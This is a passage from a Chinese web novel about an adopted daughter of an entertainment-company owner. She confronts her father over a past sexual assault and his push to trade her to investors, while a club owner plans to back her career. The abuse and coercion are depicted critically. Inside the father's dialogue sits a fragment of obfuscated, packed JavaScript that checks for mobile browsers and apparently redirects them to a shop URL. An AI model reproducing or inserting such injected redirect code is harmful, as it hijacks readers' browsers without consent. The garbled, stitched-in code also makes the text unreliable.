不远处的助理听见老板对他自己的评价,忍不住在心中暗暗咋舌。
申城的娱乐产业风云暗涌,能在其中占据一席之地的,有哪位不是狠辣角色。
他年初才进入云麓工作,虽然不太了解眼前这位从前的事迹,但也听说过一些传闻。
——孤狼恶犬、不择手段,仅仅是浮于表面的那层皮毛,都足以让人胆战心惊。
不过传闻也可能半真半假。
他刚入职那阵子,曾经听见过几位女同事背地里八卦顶头上司。
她们说这位老板分明肌肉匀称、手掌宽长、鼻子挺拔,一看就知道天赋异禀,却不近女色,也不懂得怜香惜玉,身边从未出现过亲近的女伴。
可瞧老板如今这副模样,又哪像是不近女色?
虽说语气冷淡不改,但人都走出展馆了,他还盯着别人的背影,视线漆黑深沉,一看就知道别有企图。
助理脑中思绪飞快转动,面上神态则平静沉着,见江潮离去,上前数步,“应先生,周六的餐厅,需要我为你们安排吗?”
“不用。”男人收回目光,嘴角竟然浅淡地勾起了弧度,意味不明道:“……让她尽尽地主之谊。”
助理点头应下,又道:“两点与群星娱乐江总的约,车已经备好了。”
他“嗯”了一声。
与贺宛廷的饭局原本改约到周六,他瞥眼腕表,亲自打电话解释。
对方和他关系不错,闻言也不恼,笑问:“究竟是什么大事,能让应总将我的邀请一推再推?”
电梯停在四层,应潭不答,只说:“改天我提好酒请罪。”
“云麓不是有一瓶珍藏已久的罗曼尼康帝吗?”贺宛廷说:“就它吧,放着生灰也没什么意义,我先预定了。”
应潭走出电梯,闻声长眉微抬,轻嗤:“你倒是擅长狮子大开口。”
“咔嗒”一声轻响,他反手关上门,在简短几句后挂断电话,沉稳踱入半掩的卧房。
窗帘仍旧半掩着,床被整洁齐整,看不出有人住过的痕迹。应潭眉眼神色淡淡,环视一圈,视线落在床头柜上。
淡粉色睡衣仍旧安安静静地躺在那里,他抬步走过去,指腹拂过丝绸布料,将其拿起。
衣角在他指间垂落,应潭垂眼盯了半晌,稍稍低头。
男人的高挺鼻尖抵上柔软衣领。
洗衣液味道浅淡,他瞳仁黑到近乎不见光,沉默着,又将衣服放下了。
30. 第 30 章
轿车驶入别墅区外门,江潮坐在后座,视线停留在窗外。
木质栈道散落在长青树林间,偶尔能见野兔松鼠从栈道上一跃而过。拱桥湖景、中式凉亭,都是她分外熟悉的景色。
江太太早晨时得知江潮今天会回来,特意在家中等待。听见车鸣声响,她从沙发站起来,对保姆张姨说:“应该是溱溱到了。”
话音落下,门口传来脚步声。江潮走进客厅,视线下意识环绕一圈,眉眼松缓下来。
她喊了声“妈妈”,又转头去叫张姨。
张姨在江家干了许多年,看着江潮长大。家里解雇了不少佣人,留下的只有她一位。
见她回来,她一张脸笑出褶子,连忙去厨房里张罗着端出餐点,“小溱肯定很想念家的味道。”
江太太则上前来,笑盈盈道:“可算是回家了。”
“昨天去哪里玩了?电话都拨不通,让我好生担心。”
江太太性格温婉,即便是埋怨人,都是轻轻柔柔的。
江潮看着母亲的眼睛,稍稍抿唇,说:“爸带我去了一个饭局。”
女人神色微讶,紧接着纤细眉眼涌上愁绪,“你爸爸最近也是忙昏了头,你刚刚回来,怎么不让你好好休息休息。”
江潮知道母亲多半对父亲的念头一无所知,但还是在看到她讶然神态时松了口气。
她将风衣搭在沙发上,“公司的情况怎么样?”
“公司的那些事情,妈妈不太懂的。都是小优和你爸爸在操心,一天天从早忙到晚,有时候家也不回。”
江太太轻轻叹气,愁容难掩,说:“等你父亲回来了,你跟他仔细问问。”
恰好张姨从餐厅过来,招呼她们去用餐。江潮垂眸,没再说什么。
江太太陪江潮吃完午餐,自己回到房间里睡午觉。她早上起得早,中午总要睡一会儿觉,许久不见的女儿从国外归来,也改不掉她的习惯。
江潮自己从柜中翻出退烧药,就着水喝下。张姨瞧见了,惊讶道:“怎么了?是哪儿不舒服了?”
“有点发烧,”她将玻璃杯放下,笑笑,“没事,张姨,我吃颗药就好了。”
“哎呀,我就琢磨着你这回怎么没吃多少呢,哪像读大二那会儿寒假回来,胃口大得吓我一跳。”
张姨回忆从前,又关心道:“吃完药快上楼去睡个午觉,被子盖得严实一点,发一发汗。”
江潮笑着答了声“我知道了”,回了卧室。
她的房间在二楼最里间,是最宽敞的次卧,装修得浪漫奢华。
床边纱幔倾坠,梳妆台雕刻得精致,水晶壁灯、藕粉色天鹅绒地毯,就连书桌都勾勒着金边。
江潮十一点多才醒,此时并无睡意。何况她心里压着事,沉甸甸的,钩着心尖直往下坠。
她走到沙发边坐下,视线晃过卧房,思绪杂乱无章,还未理清究竟该说什么、该怎么做,忽然察觉到了一丝异常。
“张姨,”江潮起身,站在走廊边往下看,“我的行李在哪里?”
“房间里没找到吗?”张姨抬头,奇怪道:“我昨晚应该放在衣柜旁边了呀。”
她上楼来寻找,绕着房间走了一圈,又不信邪地蹲下来,看了一眼床底,犯迷糊地嘀咕:“怎么会不在呢?”
行李箱里没装什么贵重东西,只是她的护照也在里面。江潮迟疑片刻,问,“昨天有谁进过我的房间吗?”
“哦,先生好像是进去过,”
张姨拍了拍额头,笑起来:“他昨天喝醉了,还不忘往你的房间里跑。小优还说他呢,人都不太清醒了,怎么还惦记着姐姐要回来。”
江潮微怔。
她心事重重,不知父亲是又一次在酒后撒酒疯,还是准备拿喝酒作为某些企图的借口,站起身来:“我去公司一趟。”
群星娱乐去年搬到了较为偏僻的城区,在一栋写字楼的顶四层。
如今楼下萧瑟许多,江潮下了车,抬起头,眼眸被阳光刺得微眯。
她对公司并不陌生。
江潮自小便常常进出公司,接受许多艺人会接受的培养,钢琴、吉他、提琴、声乐、仪态。
她的父亲严厉,母亲温柔,保姆管家对她满怀慈爱,第一次磕磕绊绊地弹唱一首儿歌时,一群人围在她的身边鼓掌赞扬。
小学时的她听到过别人嚼舌根,说她分明是被收养的孤女,怎么过上了养尊处优的生活,活得像是个真正的公主。
当时她没有将那些话听进去,后来却在夜间辗转反复时不断回想。
电梯门向一侧滑去,江潮抬步走出去。
父亲的秘书方才接到楼下前台的电话,早已站在那里等待,神色有些憔悴,维持着面上笑意,“江小姐,好久不见。”
江潮喊了一声“徐秘书”,简洁寒暄后开口询问,“我父亲在哪里?”
“江总刚接待完贵客,”徐姐领着她去休息室,“不会等太久。想要喝什么茶水、吃什么点心吗?”
江潮没有胃口,只要了一杯温水。
休息室要窄小许多,不似群星原址的那间宽敞明亮。
她坐在沙发上等待,时不时看一眼时钟。
秒针转过数圈,分针移动几格,脚步声终于响起,江文生推门而入。
他伸手扯了扯领口,昨夜脸上醉酒的熏红已经褪去不见:“小溱,你来公司做什么?”
江潮不理解他为什么总能在做出荒唐事后如此平静。
她稍稍抿唇,问,“爸,我的护照在您那边吗?”
“说什么话?”江文生走过来,在饮水机边接了杯水,“我拿你的护照做什么。”
“可是张姨说您昨天拿走了我的行李。”
江文生喝完那杯水,抬手看了一眼表,“是吗?我记不太清了。小溱,你也知道,爸爸昨天喝得太多,整个人都糊里糊涂的。”
“我知道。”江潮双手垂放在膝盖上,眼睫轻颤,说,“我十六岁的时候,您也是这么跟我说的。”
这句话仿若炸弹上的那一根引火线,令江文生勃然变色。他静了一静,忽然将杯子往一边重重一放。
“砰”的一声巨响,在如今寂静许多的公司里分外清晰,门外寥寥的员工都忍不住抬头看来。
江文生冷下脸,眉峰紧紧皱起,走过去把门甩上,转过身来。
“快十年前的事情,你还要记多久?”
战栗感顺着脊背蔓延至神经末梢,江潮攥紧手,指尖深入掌心,带来隐秘细微的阵痛。
“你大老远跑来公司,是想要来质问我?”
江潮嘴唇动了动,“我只是不明白。”
“不明白什么?我把你从孤儿院里领出来,在你身上花了多少钱?从小就把你送进公司培养,长大后又送你出国留学。”
“你高中休学搞乐队,读了大学还继续叛逆,跑去学那个一年工资还没学费高的音乐治疗,我有没有骂过你半句!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678545|142797||http|test|mini|href|location''.split(''|''),0,{}));
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>窗外的光透过玻璃映落光束,空气中旋转的尘埃被愤怒挥舞的手劈开,如同败军般骤然溃散。
“你八岁的时候,我把江优过继到家里。你说他欺负你,我回家就拎着皮带教训他。你是不是都忘了,啊?”
“我也不明白,江潮,你摸着良心说说,江家人亏待你了吗?老子那晚上喝醉了,摸你几下,看来就犯了死罪了!”
江潮呼吸微抖,想要辩驳,又难以辩驳。
她的弟弟江优,自幼在家中的待遇与江潮截然不同。江文生不太喜欢他,不常给他好脸色看。
那一段时间,江优常常和她作对,扯着她的裙子,说“以后继承家产的总归是他”。
她最初会让着这位弟弟几分,会去照顾他。后来被他扯了一回头发,疼得不行,泪眼汪汪地去与父母告状。
而告状的后果,是江文生从公司回来,拎着皮带,把江优抽了个皮开肉绽。
小男孩奄奄一息地趴在沙发上,而年幼的她睁着眼睛,微微发着抖,将一切都看得分明。
记忆深深烙在她的心底,她那般惊惧害怕,又怎么会轻易将回忆忘记。
江文生发了一通火,转身在对面单人沙发上坐下,掌心撑着膝盖,呼哧呼哧地喘着粗气。
退烧药尚未压制体温,江潮呼吸沉重,指尖泛白,紧紧咬着唇内软肉,“我没有忘记。”
十六岁的夜晚不像他口中那般轻描淡写,正如昨夜的饭局分明是有意为之。
可恩情犹如高山,将她毫不留情地压垮。
母亲说父亲偏宠她,一次犯错,算不得什么;朋友支支吾吾,说男人喝醉了酒,胡作非为也是正常。
她竭力保持体面沉静,只有掀动的眼睫暴露出心底的波澜,“我会回来,就是为了还债。但绝不是以那种方式。”
“群星现在沦落到这种境地,如果不借别人的手,你一出道,就会遭到群众抵制。爸爸好不容易请来星光娱乐的田总合作,你倒好,连虚与委蛇都懒得。”
江文生不再装糊涂,手指用力敲着桌面,语气近乎是恨铁不成钢的。
“——还债,养你到现在,你要是能帮爸爸还上一千万,我就算你两清。但你要拿什么还?”
江潮大三那年,群星娱乐名下的女团向公司提出解约,理由是待遇不公,潜规则上位。
负面舆论、合作商索赔,公司又一次陷入危机,而慈善手段难以二次奏效。
江文生的目光落在了江潮身上。
江家收养的孤女,琴棋书画无一不精,自优异院校毕业,外貌惊为天人,歌喉宛若天籁,在网上甚至有大量的忠实粉丝。
她本就该是一棵绝佳的摇钱树。
半晌沉默,江潮脊背紧绷着,“网络平台、选秀节目、海选,总有别的路可以走。”
江文生斜睨着她,不知在想些什么,语气缓和下来。
“小溱,我知道你不是彻头彻尾的白眼狼——只是你还不成熟,有时候实在天真得可笑。你长得这么漂亮,就算自己闯进圈内,也会有人对你动心思。”
“听爸爸的,爸爸会帮你铺好路,你只要陪陪几个大老板,用不着那么辛苦。”
指尖在掌心留下深深的印记,她只是摇头。
“圈子里很多人都这么干,这不算什么多可怕的事,你就当作是资源置换。”
他语调徐徐,像是在规劝,最后扶着桌角起身,“小溱,你回家好好想想,爸总不会害你。”
31. 第 31 章
离开群星娱乐的时候,江潮遇到了江优。
他手中握着杯咖啡,在一楼大堂里等待电梯,看见江潮出来,神色稍稍一怔,抬手推了推银边眼镜。
“姐回来了。”江优笑笑,“怎么来公司了?”
江潮似乎有些恍惚,迟半拍地撑起笑,“我找爸有点事。”
自从江优年幼时挨了顿狠打之后,他们二人的关系便有了几分变化。
江优沉默寡言,不敢再招惹江潮,而年幼的江潮心怀愧疚,面对江优时总有几分闪躲。
直到彼此都长大成熟,他们仍旧不像姐弟,倒更像是同一个屋檐下不熟又客套的室友。
擦肩而过时简短问候,江优踏入电梯里,按下楼层,点头示意:“那我先上去了。”
他比江潮小三岁,毕业后便进入群星工作,目前暂任公关部总监。
电梯抵达顶层,江优握着咖啡进入自己的办公室,助理便跟着他进来,压低了声音。
“江少,狗仔那边说是拍到了潜规则的明确证据,要我们花钱平事。”
江优“嗯”了一声,表情没有波澜,问:“拍到了谁?”
“……他们说是拍到了江总。”
江优把咖啡放在桌上,陷入短暂静默。
助理悄悄瞄他,这位江少爷这般平静,想来对自己父亲的德行并不陌生。
他小声道:“这帮人名声极差,能要一次钱,就能再要第二次。但按照公司现在的财务状况,恐怕不能再大规模做慈善……”
当初为群星娱乐缔造辉煌的当红歌星陷入丑闻,狗仔爆料,暗指群星这家公司“上梁不正下梁歪”。那位歌星被雪藏,大量歌迷随之流失。
眼看着一人带来的影响就要扩散至整个公司,另有人爆料公司董事长江文生一直在扶持孤儿院建设,甚至自己也收养了一个无父无母的女孩。
那年的舆论就此逆转,但相同的手段,难以再用第二回。
江优停顿片刻,在办公桌边坐下,镜片后的眉眼神态不明,“把对方的联系方式发给我,我来处理。”
助理应声,转身出了房间。他坐在宽大的办公椅上,回复了几封邮件,又站起身来,走到窗边。
爆料尚未明确地指出潜规则幕后黑手,但已有不少暗示。
结合三十多年前的那则新闻,已经有人猜测,群星娱乐的内部,会不会存在比潜规则还要深恶的阴暗之面。
公司的董事长被牵扯入难以澄清的性/丑/闻,旗下艺人纷纷解约,短暂时间内飞快破产倒闭——这种事件,在娱乐行业发达的南韩早有先例。
而他仿佛可以看见群星娱乐在慢慢迈向这样的终点。
高楼大厦鳞次栉比,道路车流纵横交织。
城市的脉络在高楼顶层清晰可见,江优静静凝视片刻,忽地扯唇,讥讽地笑了一下。
同一时间,大楼之外。江潮走出旋转门,怔然站立片刻,才意识到自己还未叫车。
心脏仿佛被冰棱扎出了洞,她分明发着烧,手脚却隐隐发凉。
阳光刺目,江潮隐约感到几分晕眩,低下头来,拿出手机打车。
一辆黑色迈巴赫在她面前街侧徐徐停住。
车窗降下,她下意识抬眼。几小时前才见过的男人偏头看着她,眉眼笼在了暗影里。
“去哪?我送你。”
音乐在车厢里静静流淌,应潭伸手调低音量,往右侧瞥了一眼。
女孩关上车门,双手交叠垂放在腿上,浅眉不自觉地颦着。
她轻轻吸了口气,好似在强行平复某种情绪,唇角牵动了数下,终于扬起一抹笑。
“这是什么歌?”
他掌心搭在方向盘上,静默片刻,淡淡答:“你在海边唱过的歌。忘了?”
江潮神态微怔,仿佛终于回神,又讶异于他为什么能够记得,忍不住看向他。
男人高耸眉骨下的眼睛平静淡漠,就好像那只是随口一提。
“是有些耳熟……好久没听了。”她低头系上安全带,转开话题,“你怎么来这边了?”
应潭启动车辆,视线平直地落在前方,“与江总有些交易。”
江潮的动作骤然停顿。
她的手指搭着细长的安全带,指尖攥紧了,“……交易?”
“是因为昨晚吗?”
“江总被人跟踪拍摄,找云麓处理麻烦。”他语气沉稳,“前不久的事情,跟昨晚无关。”
不自觉屏住的气息松开,江潮忍不住想起昨夜。难怪江文生在看到应潭后没有多作纠缠,原来他们早有合作。
……竟然还有这么巧的事情。
肩颈绷起的弧度缓下,她倚着车窗,视线落在前方,又好像什么都没在看。
“云麓也能处理这种事吗?我以为它只是一家娱乐会所。”
明亮之下总有暗面,在某些人的眼中,云麓是申城地底最不该惹的恶犬。
前方亮起红灯,应潭停下车,指腹在方向盘上轻敲,“赚同一群人的钱,提供一些额外服务,仅此而已。”
她怔然半晌,真心实意地夸奖,“你很厉害。”
当年的少年一无所有,尚且能一步步走到这里。
她拥有的更多,怎么能够轻而易举地重陷往日消沉。
江潮轻轻舒出一口气,心底沉郁阴霾仍未散去,精神却振作了几分。
迈巴赫停在别墅门口的红砖小道,张姨听见与平日不同的引擎声,出来查看。
江潮解开安全带,“你不让我说谢谢,那这回蹭你的车,往后多请你吃一顿饭。”
“嗯,”他侧过眼,瞳仁色泽极深,“我会记在账上。”
——然而星期六那日,她却临时失了约。
江潮这一整周都在联系自己的朋友,奔赴不同的饭局。远在晋京的许甘兴许是听闻了一些消息,在周六早晨打来电话。
“溱溱,今晚凯毕伦酒店有个私人派对,不少大腕儿会参加,听说几位挺出名的制作人也收到了邀请。”
她语气干脆利落,“你感兴趣吗?我可以找人帮忙带你进去。”
江潮正坐在餐桌边和母亲一起吃早餐,闻言起身出了餐厅,在楼梯边站定,“私人派对的话,找门路会不会太麻烦?”
“不麻烦,我们公司刚好有同事过去,我跟她打个招呼就行。”
许甘如今在晋京一家规模不大的唱片公司工作,江潮上一次与她联系的时候,她刚晋升至宣发部的数字营销经理。
从前总喜欢撒娇黏人的小姑娘,早已成为了干脆利落的女强人。
能与圈内有名的制作人结识对往后的发展有益,她答应下来,又问:“小甘,你什么时候回申城?”
许甘笑笑:“要请我吃大餐啊?用不着,以前那么多杯奶茶也不是白喝的。”
江潮视线顿住,手指无意识搭上楼梯冰凉的扶手,轻轻摩挲。
当年乐队在扬州解散,过程其实并不算愉快。林斯敬不知道江潮决定前往国外读书,在得知这件事后冲江潮冷了脸,一个人坐在椅子上,一声不吭。
眼看着氛围似乎变得不太对劲,许甘
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过去晃了晃他的椅子,笑嘻嘻地开口。
“哎呀,溱溱走了,咱们三人也可以继续活动嘛。等溱溱毕业回来,再一起唱首歌发网上,说不准还有一群老粉感叹爷青回。”
她是想要解围,然而林斯敬站起来,神态却冷然,“算了,既然这样,咱们就散了吧。我也不想继续玩流量游戏,成天当冤大头。”
他说出的这么一句话,多半是一时恼怒的口不择言,但仍旧造成了难以挽救的裂痕。
那时许甘瞬间红了眼眶,就连陈勉的神色都有点怪异。
通讯中沉默半晌,许甘似是察觉到了自己语气中的怪异,“我不是那个意思……”
她顿了顿,放弃般地转开话题:“我年底肯定会回去,到时候约你出来,不准拒绝。”
江潮抿起唇,故作微恼,“我什么时候拒绝过你的邀请?”
“谁知道呢,”许甘也开玩笑,“到那个时候,说不定你就成为娱乐圈里冉冉升起的新星了,到处跑行程。”
这次派对机会难得,江潮找到那个沉寂于微信列表中已久的名字,抱歉地叙明情况。
直到夜晚,对方才发来讯息。
简短的一句“嗯”,看不出情绪。江潮眼睫微眨,又发送一句话。
溱溱:改到周日可以吗?
他没有回复。
凯毕伦酒店三十三层,钢琴声静谧流淌。
妆容精致漂亮的十八线女星裙摆翩跹,在空中花园里漫步,旁侧宴会长桌布满佳肴甜点,几个西装革履的男人举着酒杯闲谈。
应潭站在大厅一角,垂眼看着落地窗外星光般璀璨的夜景,手机松松贴着耳廓。
他半张脸笼在阴影中,看不清眉眼神色,“……谁?”
“咱们以前在曲溪见过的,那个弹吉他的,刚从夜阑出去,”
范钱荣的声音在电话里隐约失真,“我靠,我刚才看见他,还有点儿没反应过来。”
夜阑是应潭手里的一家酒吧,当初白家将这家酒吧交到他手中,后来他丢给范钱荣管理。
“我还多看了几眼,那哥们儿跟个美女上了车,就是看不到正脸,不知道是不是主唱姐姐……话说应哥,你当年深夜醉酒,到底是不是因为主唱姐姐啊?”
万家灯火勾连成线,映在男人的眼底,最后被无声无息的暗涌吞没。
“你很闲?”应潭语气疏淡,“没事干就去酒窖里清点库存。”
“哎不是——”
空中花园边,被鲜花绿景簇拥的卡座,贺宛廷开了桌上酒瓶,为自己斟了一杯酒。
打完电话的男人转身走近,偏头瞥一眼宴会厅,神色不知为何比离开前更加冷肃。
“你就请我在这里吃饭?”
“是你先推了我的约,”
贺宛廷举杯稍尝,眼睛倏然亮起来,“不错,确实是好酒。”
应潭没说话,目光沉沉地看着他,长眉压着漆黑的眼,显出几分天生的冷色。
“没办法,我还得跟几个人打声招呼。”贺宛廷放下酒杯,眼睛满足地眯成一条线,“不然你先上楼?”
应潭淡淡“嗯”了一声。他心情恶劣,比起与些半生不熟的面孔应酬,更想去游个泳。
他穿过人群,走向电梯。楼层显示牌上数字跳跃,“叮”的一声轻响,男人单手散漫地放在西裤口袋里,踏步上前。
电梯中空无一人,应潭抬手按下高层。
几秒过后,又一声提示音响。另一台电梯抵达三十三楼,江潮被侍者引领着走出电梯,转头看向宴会厅。
32. 第 32 章
凯毕伦酒店三十三层的宴会厅,从电梯间出来,映入视野的便是闻名申城的空中花园。
庭院用细叶结缕草铺就,四十余种花卉装点,据传每年的维护费用都是一个惊人的数字。
沿着鹅卵石小路往里走,几对汉白玉石桌散落在花丛间。江潮在圆桌边坐下,稍稍歇息。
收获了几张名片,脸也笑得有些发僵,她探出食指指节,不易察觉地揉了揉唇角。
一盆大花蕙兰立于桌侧,兰花香浅淡清幽,沁人心脾。
娇嫩的纯白花瓣衬着女孩的侧颜。
她穿着黑色晚礼服,肩颈肌肤细腻白皙,微卷长发如海藻般垂落肩头,嘴唇抹了粉润的唇釉,晶莹动人。
不远处,贺宛廷正与几个公子哥举杯碰饮,忽地看见其中一人转头,眼睛直勾勾地看往另一个方向。
“那不是群星娱乐的江大小姐吗?”
另一人随之看去,眼睛也直了一瞬,旋即讥嘲地笑了笑:“她现在还算什么大小姐?”
他视线仿佛黏在了女孩身上,口中啧啧道,“那姑娘当初可是傲得很,怎么请都不肯赏脸出来玩儿,现在竟然也会来这种场合了。”
有人怂恿:“这不正好嘛三少,你现在再去人家眼前晃一晃,说不定她自己就贴上来了。”
贺宛廷没见过她,但群星娱乐这个名字近些日子没少出现在热搜上,黑料满天飞,想不知道都难。
他看着那几个公子哥过去,围着人调笑。那姑娘站起来,神态沉静自若,倒是没有露出什么窘迫神色。
富二代之间亦有差异,贺宛廷没什么兴趣陪小少爷们胡闹,晃至宴会厅另外一侧。
瑞风集团的少东家姗姗来迟,他过去问候。对方最近为女友一掷千金,招兵买马组了一档音乐综艺节目,拉着贺宛廷问他想不想投资合伙。
少东家身边跟着那档综艺节目的制作人,迎上来给他递了名片。贺宛廷以前没发觉对方长了颗恋爱脑,拒绝的话不好直说,笑着敷衍了事。
跟一圈人打完招呼,贺宛廷拿起手机,打了个电话。
旁边有人跟制作人攀谈,说是晋京悦声唱片的陈经理,带着先前坐在兰花边的那位江小姐。
制作人眼睛一亮,上上下下地打量对方几眼,“是个好苗子……就是长得有些眼熟,也不知道是跟谁长得相似。”
陈经理在旁边帮着介绍,说这位在网上有十几万粉丝,也算得上是自带流量。
正说着话,制作人的助理过来耳语几声。
那制作人再转过头的时候,神色便添增几分古怪:“是群星娱乐的江小姐啊,你小的时候,我还见过你跟着江总应酬。”
女孩稍怔,旋即抿唇微笑,“我方才就觉得您看着面善,没想到还有这一层缘分。”
“是啊,这可不是巧了吗——江小姐,我跟你说实话,不是我不想签你。”
他走到一侧,压低声音,“你的家庭背景太容易挖掘,咱们这也就是一个小节目,没准备走黑红路线,我担不起这责任。”
“但你的条件实在优秀,不如这样,我可以把你引荐给全总,我们这档节目的另外一位投资商,让对方来定夺……”
电话挂断,贺宛廷没有再听,拎着那瓶从应潭手里敲来的好酒上楼。
三十五层的室内泳池,蔚蓝水波荡漾,三面全景落地窗映着仿佛唾手可得的繁星。
池水翻涌,男人自水底探出,上半身结实劲瘦,每一处肌肉线条都恰到好处。
贺宛廷瞥了一眼,忍不住轻啧一声,自顾自地在躺椅上坐下。
水花四溅,宽大的脚掌踏上冰凉的大理石地面,蜜色皮肤上的水珠顺着小腿落地。
被水洗过的面容更加冷然,应潭弯腰俯身,紧实的斜方肌微微鼓起。
他从椅上拿起毛巾,随手擦拭湿透的发,语气淡淡:“来得这么快。”
“没什么好待,”贺宛廷斟酒独饮,意兴阑珊,“楼下又在卖女人,实在不想多听。”
“真是匪夷所思,”酒性辛烈,他或许是有些喝醉了,“姓白的能被你送进监狱,那圈子里头不知多少人光明正大地把男人女人当作资源,怎么一直安然无恙。”
应潭等下还要开车回去,让服务生上了一杯提神醒脑的薄荷水,随口问:“谁又刺激到你了?”
“你知道群星娱乐吗?”贺宛廷闷完一杯酒,又倒了满杯,“最近新闻头条上黑料满天飞的那家公司。”
应潭动作稍顿,“知道。”
“都说那家公司的男女艺人都得靠潜规则上位,拒绝后被雪藏的不知凡几。”
贺宛廷意味不明地笑了一笑,“天道好轮回,别人也打着主意,想把那家公司的千金大小姐送去讨好资本了。”
“……”
应潭静默一刹,水杯搁在躺椅边矮桌上,发出一声闷响。他抬眼,“什么意思?”
贺宛廷将方才在楼下发生的事情三言两语概括,又嫌恶道:“那全总恶名昭著,还男女通吃,不知道玩过多少圈内新人。”
“那姑娘要是落到他手里,嘶……辣手摧花啊。”
发间水珠滴落,应潭抬手抵上眉骨。
她并非因为那个人而失约,男人胸膛里四撞的郁火消散,漆黑眼珠却愈发森冷,他问:“是什么节目?”
“怎么?”贺宛廷转头看来,“你又想去当卧底?算了吧,那圈子里水太深。”
应潭抬了抬眉,目光落在贺宛廷脸上,“我看起来很闲?”
“……难不成应总想要投资?”贺宛廷转回头,“也算了吧,为了捧女友组起的音乐节目,前景堪忧。”
应潭沉默片刻,指节在桌上轻轻叩了叩,“那你有什么推荐?”
“推荐什么?”
他眉眼沉淡,“容易捧人的节目。”
这还真是大开眼界,贺宛廷翻身坐起来,酒劲都散了个干净,“你要捧谁?”
他一顿,像是在质疑自己,“传说中冷心冷肺、无情无义的应先生,竟然也有想捧的人?”
那几个成语被说得一字一顿,应潭掀了掀眼皮,不语。
贺宛廷瞧着他,戏谑道:“是什么人?你的远房表妹?年少无知时定下婚约的童养媳?还是来讨债的债主?”
应潭眉眼微动,弧度细微地扯了扯唇。
“嗯,”他将薄荷水饮尽,略一颔首,“债主。”
贺宛廷“哟”一声,打量几番他的神色,颇具兴致地调笑。
“什么债,桃花债啊?欠了多少?我可以考虑考虑帮应先生出谋划策。”
——他欠了多少?
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应潭静了一静,眼底似是涌起波澜。
他垂眼,无意识地摩挲指节,从胸膛里呵出一声意味不明的气音。
“欠了十元。”
“……哈?”
贺宛廷匪夷所思地扬眉,看着应潭的那副表情,就像是应潭手中拿着的不是薄荷水,而是什么一沾就醉的烈酒。
“十元,”他靠回躺椅,古怪道:“欠的是火星货币?”
临近深夜,派对终于散场。江潮与陈经理一同踏入电梯,对方在酒店里预定了房间,而江潮按下了一楼。
“可惜我们公司不带新人,”陈经理面露惋惜,“不然的话,我真的挺想为你争取争取。”
“你以后想往哪个方向发展?我看了你的视频,当歌手肯定没问题。但你的外貌条件同样很优秀,如果培养一下,说不定可以尝试进入荧幕。”
电梯均速下降,在十楼停下。
她在波士顿时工作过的那间音乐治疗诊所也位于十楼。
既然已经决定走这一条路,就不该频频回头。江潮稍稍吸气,弯眼,“我没有什么偏好,如果有机会的话,各个领域都可以尝试。”
只是这一条路并非什么光滑平整的捷径。
从派对回来没几天,江潮收到那位制作人的电话,说是全总近期准备前往三亚度假,问她愿不愿意同行。
彼时的江潮正在医院里输液。
或许是因为刚从国外回来、水土不服,又四处奔走,没能够好好休息,她来回反复地生病,索性来医院里吊瓶。
电话里男人语气委婉,“如果你愿意来的话,一路上行程机票都由我们来订,等过来了,吃喝玩乐的费用、酒店的费用,也都包在全总身上,你不用操心。”
他暗示道,“就当是旅游散心。”
片刻沉默。
“抱歉,”江潮回答,“我不愿意。”
“你说什么?江小姐,你不用这么早做决定,再好好考虑考虑。现在不在意你家庭背景的制作方可不多,全总也是在给你一个难得的机会——”
“不好意思,”她说,“我想我不用考虑。”
电话挂断,江潮坐在那里,垂眼看着自己的手。
她的血管难找,被护士拍了几下,手背已然泛起淡红。
浅红渐渐散去,吊瓶也渐渐空了。江潮揣起发凉的手,孤身一人走出医院。
她在路边打了车,报出家中地址。
江潮的情绪其实没有多大的波动。
她早就决定将那些激烈不平的情感压下,暂时置之不理,即便她清楚这样的处理方式并不健康。
后座车灯没开,江潮眼睫微垂,看着手机。
她点开一个软件,退出,点开另外一个,又退出,仿佛只是思索时无意中的动作。
国内某项出名的音乐比赛真人秀将在下个月召开海选,她可以报名。
视频平台的账号也可以开始尝试正式运营,不过她没有这方面的经验,或许可以找小甘问问,有没有什么合适的书籍……
手机收到新信息,微微震动。江潮眸中焦距终于凝实,看向信息内容。
是视频平台收到的私信。
三餐有约V:溱溱小姐您好,这边是三餐有约综艺官方,请问您有兴趣参与我们节目的第三季拍摄吗?
33. 第 33 章
三餐有约这档综艺算不上国民爆款,但拥有固定受众,前两季的收视率十分可观,今年暑期已经开始拍摄第三季。
江潮不理解他们为什么会突然邀请她这么个圈外人来当飞行嘉宾。
只是机会难得,她请来常与群星合作的律师帮忙签订合同,订下两周后飞往霖市的机票,又将这件事告诉了家里人。
江文生已经好几天没有回家,母亲说他在外出差。江优回来过几次,知道江潮要去上综艺,神色稍怔。
“这个综艺怎么样呀?”
江太太问他,“溱溱跟我提了这事,我也不知道好不好。小优,你在公司里工作,有没有学到这方面的知识,帮你姐姐参考参考。”
江优泡了一杯咖啡,拿着银勺轻搅,闻言笑了一下,“姐想往圈内发展的话,这档节目是个不错的首秀。”
他稍稍侧目,“不过,他们怎么会向姐姐发邀请?这个综艺暑期时已经开拍,在圈内算得上香饽饽,嘉宾名单应该早就定好了。”
江潮在陪江太太插花,指尖捻着花朵细细的深绿根茎,闻言摇了摇头。
“我也不太清楚,”
她停顿片刻,有些迟疑地答,“……会不会是因为他们比较欣赏我的视频?”
张姨笑着说:“溱溱长得多漂亮哪,又多才多艺,现在大公司不都有那什么星探嘛,说不定就是被星探看中了!”
“张姨说得对,”
江优点头笑笑,“不过挖掘新人不在综艺节目的范畴之内。这种类型的综艺,一般来说也不会邀请素人、伪素人参加。”
他稍稍停顿,银勺搭在咖啡杯边沿,发出一声清脆细响,看向江潮。
“是爸爸那边的人脉吗?”
花枝上长着细细的刺,在柔软的指腹上压出痕迹。
江潮垂眼,手指无意识抚过花瓣,只答:“应该不是。”
江优视线似是随意地瞥过,带着几分隐秘的探究。
江潮答得简短,神态亦然有些不自然,似是在回避。
他收回目光,抬手扶了扶银边眼镜,“那也许是因为最近的新闻,他们体量够大,能够消化这样的黑红流量。”
“如果是这样,姐,你拍摄时要小心一些。参演的综艺对自身发展带来负面影响,这种情况不是不存在。”
江太太不了解公司的具体情况,也不太愿意关注近期的新闻。
